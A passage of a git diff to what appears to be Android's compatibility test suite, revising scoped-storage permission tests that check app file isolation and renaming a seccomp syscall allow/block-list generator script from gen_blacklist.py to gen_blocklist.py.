+                THIS_PACKAGE_NAME, APP_A_HAS_RES.getPackageName()));
+        final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                NONMEDIA_FILE_NAME);
+        assertCreateFilesAs(APP_A_HAS_RES, otherAppExternalDataFile);
 
-            // Let app A create a file in its data dir
-            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
-                    NONMEDIA_FILE_NAME);
-            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+        // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+        // file manager app doesn't have access to other app's external files directory
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+        assertThat(otherAppExternalDataFile.delete()).isFalse();
 
-            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
-            // file manager app doesn't have access to other app's external files directory
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
-            assertThat(otherAppExternalDataFile.delete()).isFalse();
+        assertThat(deleteFileAs(APP_A_HAS_RES, otherAppExternalDataFile.getPath())).isTrue();
 
-            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
-
-            assertThrows(IOException.class,
-                    () -> { otherAppExternalDataFile.createNewFile(); });
-
-        } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-        }
+        assertThrows(IOException.class,
+                () -> {
+                    otherAppExternalDataFile.createNewFile();
+                });
     }
 
     @Test
     public void testNoIsolatedStorageStorageReaddir() throws Exception {
+        assertThat(Environment.isExternalStorageLegacy()).isTrue();
         final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
         final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         final File otherTopLevelFile = new File(getExternalStorageDir(),
                 "other" + NONMEDIA_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            createFileUsingTradefedContentProvider(otherTopLevelFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
+            createFileAsLegacyApp(otherTopLevelFile);
 
             // We can list other apps' files
             assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -2710,31 +740,29 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            uninstallApp(TEST_APP_A);
+            deleteAsLegacyApp(otherTopLevelFile);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
         }
     }
 
     @Test
     public void testNoIsolatedStorageQueryOtherAppsFile() throws Exception {
+        assertThat(Environment.isExternalStorageLegacy()).isTrue();
         final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
         final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
-            installApp(TEST_APP_A);
             // Apps can't query other app's pending file, hence create file and publish it.
             assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
             assertCanQueryAndOpenFile(otherAppPdf, "rw");
             assertCanQueryAndOpenFile(otherAppImg, "rw");
             assertCanQueryAndOpenFile(otherAppMusic, "rw");
             assertCanQueryAndOpenFile(otherHiddenFile, "rw");
         } finally {
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
         }
     }
 
@@ -2780,167 +808,108 @@
         }
     }
 
-    /**
-     * Checks restrictions for opening pending and trashed files by different apps. Assumes that
-     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
-     * method doesn't uninstall given {@code testApp} at the end.
-     */
-    private void assertOpenPendingOrTrashed(Uri uri, TestApp testApp, boolean isImageOrVideo)
-            throws Exception {
-        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+    @Test
+    public void testClearPackageData() throws Exception {
+        // Check that the app does not have legacy external storage access
+        assertThat(Environment.isExternalStorageLegacy()).isFalse();
 
-        // App can open its pending or trashed file for read or write
-        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
-        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
 
-        // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
-        // write
-        assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-        assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-
-        final int testAppUid =
-                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // File Manager can open any pending or trashed file for read or write
-            assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-            assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-        } finally {
-            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
+        File fileToRemain = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        String testAppPackageName = APP_B_NO_PERMS.getPackageName();
+        File fileToBeDeleted =
+                new File(
+                        getAndroidMediaDir(),
+                        String.format("%s/%s", testAppPackageName, IMAGE_FILE_NAME));
+        File nestedFileToBeDeleted =
+                new File(
+                        getAndroidMediaDir(),
+                        String.format("%s/nesteddir/%s", testAppPackageName, IMAGE_FILE_NAME));
 
         try {
-            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            if (isImageOrVideo) {
-                // System Gallery can open any pending or trashed image/video file for read or write
-                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-                assertTrue(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-            } else {
-                // System Gallery can't open other app's pending or trashed non-media file for read
-                // or write
-                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-                assertFalse(openFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+            createAndCheckFileAsApp(APP_B_NO_PERMS, fileToRemain);
+            createAndCheckFileAsApp(APP_B_NO_PERMS, fileToBeDeleted);
+            createAndCheckFileAsApp(APP_B_NO_PERMS, nestedFileToBeDeleted);
+
+            executeShellCommand("pm clear " + testAppPackageName);
+
+            // Wait a max of 5 seconds for the cleaning after "pm clear" command to complete.
+            int i = 0;
+            while(i < 10 && getFileRowIdFromDatabase(fileToBeDeleted) != -1
+                && getFileRowIdFromDatabase(nestedFileToBeDeleted) != -1) {
+                Thread.sleep(500);
+                i++;
             }
+
+            assertThat(getFileOwnerPackageFromDatabase(fileToRemain)).isNull();
+            assertThat(getFileRowIdFromDatabase(fileToRemain)).isNotEqualTo(-1);
+
+            assertThat(getFileOwnerPackageFromDatabase(fileToBeDeleted)).isNull();
+            assertThat(getFileRowIdFromDatabase(fileToBeDeleted)).isEqualTo(-1);
+
+            assertThat(getFileOwnerPackageFromDatabase(nestedFileToBeDeleted)).isNull();
+            assertThat(getFileRowIdFromDatabase(nestedFileToBeDeleted)).isEqualTo(-1);
         } finally {
-            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+            deleteFilesAs(APP_B_NO_PERMS, fileToRemain);
+            deleteFilesAs(APP_B_NO_PERMS, fileToBeDeleted);
+            deleteFilesAs(APP_B_NO_PERMS, nestedFileToBeDeleted);
         }
     }
 
     /**
-     * Checks restrictions for listing pending and trashed files by different apps. Assumes that
-     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
-     * method doesn't uninstall given {@code testApp} at the end.
+     * Tests that an instant app can't access external storage.
      */
-    private void assertListPendingOrTrashed(Uri uri, File file, TestApp testApp,
-            boolean isImageOrVideo) throws Exception {
-        final String parentDirPath = file.getParent();
-        assertTrue(new File(parentDirPath).isDirectory());
+    @Test
+    @AppModeInstant
+    public void testInstantAppsCantAccessExternalStorage() throws Exception {
+        assumeTrue("This test requires that the test runs as an Instant app",
+                getContext().getPackageManager().isInstantApp());
+        assertThat(getContext().getPackageManager().isInstantApp()).isTrue();
 
-        final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
-        assertThat(listedFileNames).doesNotContain(file);
+        // Check that the app does not have legacy external storage access
+        assertThat(Environment.isExternalStorageLegacy()).isFalse();
 
-        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+        // Can't read ExternalStorageDir
+        assertThat(getExternalStorageDir().list()).isNull();
 
-        assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
+        // Can't create a top-level direcotry
+        final File topLevelDir = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
+        assertThat(topLevelDir.mkdir()).isFalse();
 
-        // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
-        assertThat(listAs(testApp, parentDirPath)).doesNotContain(pendingOrTrashedFile.getName());
+        // Can't create file under root dir
+        final File newTxtFile = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        assertThrows(IOException.class,
+                () -> {
+                    newTxtFile.createNewFile();
+                });
 
-        final int testAppUid =
-                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // File Manager can see any pending or trashed file.
-            assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
-        } finally {
-            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
+        // Can't create music file under /MUSIC
+        final File newMusicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+        assertThrows(IOException.class,
+                () -> {
+                    newMusicFile.createNewFile();
+                });
 
-        try {
-            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            if (isImageOrVideo) {
-                // System Gallery can see any pending or trashed image/video file.
-                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
-            } else {
-                // System Gallery can't see other app's pending or trashed non media file.
-                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(testApp, parentDirPath))
-                        .doesNotContain(pendingOrTrashedFile.getName());
-            }
-        } finally {
-            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-        }
+        // getExternalFilesDir() is not null
+        assertThat(getExternalFilesDir()).isNotNull();
+
+        // Can't read/write app specific dir
+        assertThat(getExternalFilesDir().list()).isNull();
+        assertThat(getExternalFilesDir().exists()).isFalse();
     }
 
-    private Uri createPendingFile(File pendingFile) throws Exception {
-        assertTrue(pendingFile.createNewFile());
-
-        final ContentResolver cr = getContentResolver();
-        final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
-        assertNotNull(trashedFileUri);
-
-        final ContentValues values = new ContentValues();
-        values.put(MediaColumns.IS_PENDING, 1);
-        assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
-
-        return trashedFileUri;
-    }
-
-    private Uri createTrashedFile(File trashedFile) throws Exception {
-        assertTrue(trashedFile.createNewFile());
-
-        final ContentResolver cr = getContentResolver();
-        final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
-        assertNotNull(trashedFileUri);
-
-        trashFile(trashedFileUri);
-        return trashedFileUri;
-    }
-
-    private void trashFile(Uri uri) throws Exception {
-        final ContentValues values = new ContentValues();
-        values.put(MediaColumns.IS_TRASHED, 1);
-        assertEquals(1, getContentResolver().update(uri, values, Bundle.EMPTY));
-    }
-
-    /**
-     * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
-     * multiple db rows, file path is extracted from the first db row of the database query result.
-     */
-    private String getFilePathFromUri(Uri uri) {
-        final String[] projection = new String[] {MediaColumns.DATA};
-        try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
-            assertTrue(c.moveToFirst());
-            return c.getString(0);
-        }
-    }
-
-    private boolean isMediaTypeImageOrVideo(File file) {
-        return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
-    }
-
-    private static void assertIsMediaTypeImage(File file) {
-        final Cursor c = queryImageFile(file);
-        assertEquals(1, c.getCount());
-    }
-
-    private static void assertNotMediaTypeImage(File file) {
-        final Cursor c = queryImageFile(file);
-        assertEquals(0, c.getCount());
-    }
-
-    private static void assertCantQueryFile(File file) {
-        assertThat(getFileUri(file)).isNull();
-        // Confirm that file exists in the database.
-        assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+    private void createAndCheckFileAsApp(TestApp testApp, File newFile) throws Exception {
+        assertThat(createFileAs(testApp, newFile.getPath())).isTrue();
+        assertThat(getFileOwnerPackageFromDatabase(newFile))
+            .isEqualTo(testApp.getPackageName());
+        assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
     }
 
     private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
         for (File file : files) {
-            assertThat(createFileAs(testApp, file.getPath())).isTrue();
+            assertFalse("File already exists: " + file, file.exists());
+            assertTrue("Failed to create file " + file + " on behalf of "
+                            + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
         }
     }
 
@@ -2954,50 +923,18 @@
     private static void assertCreatePublishedFilesAs(TestApp testApp, File... files)
             throws Exception {
         for (File file : files) {
-            assertThat(createFileAs(testApp, file.getPath())).isTrue();
-            assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+            assertTrue("Failed to create published file " + file + " on behalf of "
+                    + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+            assertNotNull("Failed to scan " + file,
+                    MediaStore.scanFile(getContentResolver(), file));
         }
     }
 
-
     private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
         for (File file : files) {
             deleteFileAs(testApp, file.getPath());
         }
     }
-    private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
-            throws Exception {
-        for (String path: filePaths) {
-            assertTrue(deleteFileAs(testApp, path));
-        }
-    }
-
-    private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
-            throws Exception {
-        for (String path: filePaths) {
-            assertFalse(deleteFileAs(testApp, path));
-        }
-    }
-
-    private void deleteFiles(File... files) {
-        for (File file: files) {
-            if (file == null) continue;
-            file.delete();
-        }
-    }
-
-    private void deletePaths(String... paths) {
-        for (String path: paths) {
-            if (path == null) continue;
-            new File(path).delete();
-        }
-    }
-
-    private static void assertCanDeletePaths(String... filePaths) {
-        for (String filePath : filePaths) {
-            assertTrue(new File(filePath).delete());
-        }
-    }
 
     /**
      * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
@@ -3014,64 +951,6 @@
         }
     }
 
-    /**
-     * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
-     * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
-     * underlying file on disk but may be derived from different mount points and in that case
-     * have separate VFS caches.
-     */
-    private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
-            throws Exception {
-        FileDescriptor readFd = readPfd.getFileDescriptor();
-        FileDescriptor writeFd = writePfd.getFileDescriptor();
-
-        byte[] readBuffer = new byte[10];
-        byte[] writeBuffer = new byte[10];
-        Arrays.fill(writeBuffer, (byte) 1);
-
-        // Write so readFd has content to read from next
-        Os.pwrite(readFd, readBuffer, 0, 10, 0);
-        // Read so readBuffer is in readFd's mount VFS cache
-        Os.pread(readFd, readBuffer, 0, 10, 0);
-
-        // Assert that readBuffer is zeroes
-        assertThat(readBuffer).isEqualTo(new byte[10]);
-
-        // Write so writeFd and readFd should now see writeBuffer
-        Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
-
-        // Read so the last write can be verified on readFd
-        Os.pread(readFd, readBuffer, 0, 10, 0);
-
-        // Assert that the last write is indeed visible via readFd
-        assertThat(readBuffer).isEqualTo(writeBuffer);
-        assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
-    }
-
-    private void assertStartsWith(String actual, String prefix, boolean expected) throws Exception {
-        String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
-
-        if (expected) {
-            assertTrue(message, actual.startsWith(prefix));
-        } else {
-            assertFalse(message, actual.startsWith(prefix));
-        }
-    }
-
-    private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
-        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
-        String prefix = "/storage";
-
-        assertStartsWith(path, prefix, true);
-    }
-
-    private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
-        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
-        String prefix = "/mnt/user";
-
-        assertStartsWith(path, prefix, true);
-    }
-
     private static void assertCanCreateFile(File file) throws IOException {
         // If the file somehow managed to survive a previous run, then the test app was uninstalled
         // and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
@@ -3165,33 +1044,36 @@
         }
     }
 
-    private void createFileUsingTradefedContentProvider(File file) throws Exception {
-        // Files/Dirs are created using content provider. Owner of the Filse/Dirs is
-        // android.tradefed.contentprovider.
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createFileAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
         Log.d(TAG, "Creating file " + file);
-        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
     }
 
-    private void createDirUsingTradefedContentProvider(File file) throws Exception {
-        // Files/Dirs are created using content provider. Owner of the Files/Dirs is
-        // android.tradefed.contentprovider.
-        Log.d(TAG, "Creating Dir " + file);
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createDirectoryAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating directory " + file);
         // Create a tmp file in the target directory, this would also create the required
         // directory, then delete the tmp file. It would leave only new directory.
-        getContentResolver()
-            .openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), "w", null);
-        getContentResolver()
-            .delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), null, null);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+        assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
     }
 
-    private void deleteFileUsingTradefedContentProvider(File file) throws Exception {
+    /**
+     * Deletes a file at any location on storage (except external app data directory).
+     */
+    private void deleteAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to delete this file, since it could be outside shared storage.
         Log.d(TAG, "Deleting file " + file);
-        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
-    }
-
-    private void deleteDirUsingTradefedContentProvider(File file) throws Exception {
-        Log.d(TAG, "Deleting Dir " + file);
-        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+        deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
     }
 
     private int getCurrentUser() throws Exception {
diff --git a/hostsidetests/seccomp/TEST_MAPPING b/hostsidetests/seccomp/TEST_MAPPING
new file mode 100644
index 0000000..16b0945
--- /dev/null
+++ b/hostsidetests/seccomp/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSeccompHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/seccomp/app/assets/syscalls_allowed.json b/hostsidetests/seccomp/app/assets/syscalls_allowed.json
index 03ce72b..f3aa1b7 100644
--- a/hostsidetests/seccomp/app/assets/syscalls_allowed.json
+++ b/hostsidetests/seccomp/app/assets/syscalls_allowed.json
@@ -1,4 +1,4 @@
-# DO NOT MODIFY.  CHANGE gen_blacklist.py INSTEAD.
+# DO NOT MODIFY.  CHANGE gen_blocklist.py INSTEAD.
 {
   "arm": {
     "inotify_init": 316,
diff --git a/hostsidetests/seccomp/app/assets/syscalls_blocked.json b/hostsidetests/seccomp/app/assets/syscalls_blocked.json
index a53319b..9683cff 100644
--- a/hostsidetests/seccomp/app/assets/syscalls_blocked.json
+++ b/hostsidetests/seccomp/app/assets/syscalls_blocked.json
@@ -1,4 +1,4 @@
-# DO NOT MODIFY.  CHANGE gen_blacklist.py INSTEAD.
+# DO NOT MODIFY.  CHANGE gen_blocklist.py INSTEAD.
 {
   "arm": {
     "acct": 51,
diff --git a/hostsidetests/seccomp/app/gen_blacklist.py b/hostsidetests/seccomp/app/gen_blacklist.py
deleted file mode 100755
index e39fd9f..0000000
--- a/hostsidetests/seccomp/app/gen_blacklist.py
+++ /dev/null
@@ -1,189 +0,0 @@
-#!/usr/bin/env python3
-#
-# This script generates syscall name to number mapping for supported
-# architectures.  To update the output, runs:
-#
-#  $ app/gen_blacklist.py --allowed app/assets/syscalls_allowed.json \
-#      --blocked app/assets/syscalls_blocked.json
-#
-# Note that these are just syscalls that explicitly allowed and blocked in CTS
-# currently.
-#
-# TODO: Consider generating it in Android.mk/bp.
-
-import argparse
-import glob
-import json
-import os
-import subprocess
-
-_SUPPORTED_ARCHS = ['arm', 'arm64', 'x86', 'x86_64', 'mips', 'mips64']
-
-# Syscalls that are currently explicitly allowed in CTS
-_SYSCALLS_ALLOWED_IN_CTS = {
-    'openat': 'all',
-
-    # b/35034743 - do not remove test without reading bug.
-    'syncfs': 'arm64',
-
-    # b/35906875 - do not remove test without reading bug
-    'inotify_init': 'arm',
-}
-
-# Syscalls that are currently explicitly blocked in CTS
-_SYSCALLS_BLOCKED_IN_CTS = {
-    'acct': 'all',
-    'add_key': 'all',
-    'adjtimex': 'all',
-    'chroot': 'all',
-    'clock_adjtime': 'all',
-    'clock_settime': 'all',
-    'delete_module': 'all',
-    'init_module': 'all',
-    'keyctl': 'all',
-    'mount': 'all',
-    'reboot': 'all',
-    'setdomainname': 'all',
-    'sethostname': 'all',
-    'settimeofday': 'all',
-    'setfsgid': 'all',
-    'setfsuid': 'all',
-    'setgid': 'all',
-    'setgid32': 'x86,arm',
-    'setgroups': 'all',
-    'setgroups32': 'x86,arm',
-    'setregid': 'all',
-    'setregid32': 'x86,arm',
-    'setresgid': 'all',
-    'setresgid32': 'x86,arm',
-    'setreuid': 'all',
-    'setreuid32': 'x86,arm',
-    'setuid': 'all',
-    'setuid32': 'x86,arm',
-    'swapoff': 'all',
-    'swapoff': 'all',
-    'swapon': 'all',
-    'swapon': 'all',
-    'syslog': 'all',
-    'umount2': 'all',
-}
-
-def create_syscall_name_to_number_map(arch, names):
-  arch_config = {
-      'arm': {
-          'uapi_class': 'asm-arm',
-          'extra_cflags': [],
-      },
-      'arm64': {
-          'uapi_class': 'asm-arm64',
-          'extra_cflags': [],
-      },
-      'x86': {
-          'uapi_class': 'asm-x86',
-          'extra_cflags': ['-D__i386__'],
-      },
-      'x86_64': {
-          'uapi_class': 'asm-x86',
-          'extra_cflags': [],
-      },
-      'mips': {
-          'uapi_class': 'asm-mips',
-          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI32'],
-      },
-      'mips64': {
-          'uapi_class': 'asm-mips',
-          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI64'],
-      }
-  }
-
-  # Run preprocessor over the __NR_syscall symbols, including unistd.h,
-  # to get the actual numbers
-  # TODO: The following code is forked from bionic/libc/tools/genseccomp.py.
-  # Figure out if we can de-duplicate them crossing cts project boundary.
-  prefix = '__SECCOMP_'  # prefix to ensure no name collisions
-  kernel_uapi_path = os.path.join(os.getenv('ANDROID_BUILD_TOP'),
-                                  'bionic/libc/kernel/uapi')
-  cpp = subprocess.Popen(
-      [get_latest_clang_path(),
-       '-E', '-nostdinc',
-       '-I' + os.path.join(kernel_uapi_path,
-                           arch_config[arch]['uapi_class']),
-       '-I' + os.path.join(kernel_uapi_path)
-       ]
-      + arch_config[arch]['extra_cflags']
-      + ['-'],
-      universal_newlines=True,
-      stdin=subprocess.PIPE, stdout=subprocess.PIPE)
-  cpp.stdin.write('#include <asm/unistd.h>\n')
-  for name in names:
-    # In SYSCALLS.TXT, there are two arm-specific syscalls whose names start
-    # with __ARM__NR_. These we must simply write out as is.
-    if not name.startswith('__ARM_NR_'):
-      cpp.stdin.write(prefix + name + ', __NR_' + name + '\n')
-    else:
-      cpp.stdin.write(prefix + name + ', ' + name + '\n')
-  content = cpp.communicate()[0].split('\n')
-
-  # The input is now the preprocessed source file. This will contain a lot
-  # of junk from the preprocessor, but our lines will be in the format:
-  #
-  #     __SECCOMP_${NAME}, (0 + value)
-  syscalls = {}
-  for line in content:
-    if not line.startswith(prefix):
-      continue
-    # We might pick up extra whitespace during preprocessing, so best to strip.
-    name, value = [w.strip() for w in line.split(',')]
-    name = name[len(prefix):]
-    # Note that some of the numbers were expressed as base + offset, so we
-    # need to eval, not just int
-    value = eval(value)
-    if name in syscalls:
-      raise Exception('syscall %s is re-defined' % name)
-    syscalls[name] = value
-  return syscalls
-
-def get_latest_clang_path():
-  candidates = sorted(glob.glob(os.path.join(os.getenv('ANDROID_BUILD_TOP'),
-      'prebuilts/clang/host/linux-x86/clang-*')), reverse=True)
-  for clang_dir in candidates:
-    clang_exe = os.path.join(clang_dir, 'bin/clang')
-    if os.path.exists(clang_exe):
-      return clang_exe
-  raise FileNotFoundError('Cannot locate clang executable')
-
-def collect_syscall_names_for_arch(syscall_map, arch):
-  syscall_names = []
-  for syscall in syscall_map.keys():
-    if (arch in syscall_map[syscall] or
-        'all' == syscall_map[syscall]):
-      syscall_names.append(syscall)
-  return syscall_names
-
-def main():
-  parser = argparse.ArgumentParser('syscall name to number generator')
-  parser.add_argument('--allowed', metavar='path/to/json', type=str)
-  parser.add_argument('--blocked', metavar='path/to/json', type=str)
-  args = parser.parse_args()
-
-  allowed = {}
-  blocked = {}
-  for arch in _SUPPORTED_ARCHS:
-    blocked[arch] = create_syscall_name_to_number_map(
-        arch,
-        collect_syscall_names_for_arch(_SYSCALLS_BLOCKED_IN_CTS, arch))
-    allowed[arch] = create_syscall_name_to_number_map(
-        arch,
-        collect_syscall_names_for_arch(_SYSCALLS_ALLOWED_IN_CTS, arch))
-
-  msg_do_not_modify = '# DO NOT MODIFY.  CHANGE gen_blacklist.py INSTEAD.'
-  with open(args.allowed, 'w') as f:
-    print(msg_do_not_modify, file=f)
-    json.dump(allowed, f, sort_keys=True, indent=2)
-
-  with open(args.blocked, 'w') as f:
-    print(msg_do_not_modify, file=f)
-    json.dump(blocked, f, sort_keys=True, indent=2)
-
-if __name__ == '__main__':
-  main()
diff --git a/hostsidetests/seccomp/app/gen_blocklist.py b/hostsidetests/seccomp/app/gen_blocklist.py
new file mode 100755
index 0000000..588ebbb
--- /dev/null
+++ b/hostsidetests/seccomp/app/gen_blocklist.py
@@ -0,0 +1,189 @@
+#!/usr/bin/env python3
+#
+# This script generates syscall name to number mapping for supported
+# architectures.  To update the output, runs:
+#
+#  $ app/gen_blocklist.py --allowed app/assets/syscalls_allowed.json \
+#      --blocked app/assets/syscalls_blocked.json
+#
+# Note that these are just syscalls that explicitly allowed and blocked in CTS
+# currently.
+#
+# TODO: Consider generating it in Android.mk/bp.
+
+import argparse
+import glob
+import json
+import os
+import subprocess
+
+_SUPPORTED_ARCHS = ['arm', 'arm64', 'x86', 'x86_64', 'mips', 'mips64']
+
+# Syscalls that are currently explicitly allowed in CTS
+_SYSCALLS_ALLOWED_IN_CTS = {
+    'openat': 'all',
+
+    # b/35034743 - do not remove test without reading bug.
+    'syncfs': 'arm64',
+
+    # b/35906875 - do not remove test without reading bug
+    'inotify_init': 'arm',
+}
+
+# Syscalls that are currently explicitly blocked in CTS
+_SYSCALLS_BLOCKED_IN_CTS = {
+    'acct': 'all',
+    'add_key': 'all',
+    'adjtimex': 'all',
+    'chroot': 'all',
+    'clock_adjtime': 'all',
+    'clock_settime': 'all',
+    'delete_module': 'all',
+    'init_module': 'all',
+    'keyctl': 'all',
+    'mount': 'all',
+    'reboot': 'all',
+    'setdomainname': 'all',
+    'sethostname': 'all',
+    'settimeofday': 'all',
+    'setfsgid': 'all',
+    'setfsuid': 'all',
+    'setgid': 'all',
+    'setgid32': 'x86,arm',
+    'setgroups': 'all',
+    'setgroups32': 'x86,arm',
+    'setregid': 'all',
+    'setregid32': 'x86,arm',
+    'setresgid': 'all',
+    'setresgid32': 'x86,arm',
+    'setreuid': 'all',
+    'setreuid32': 'x86,arm',
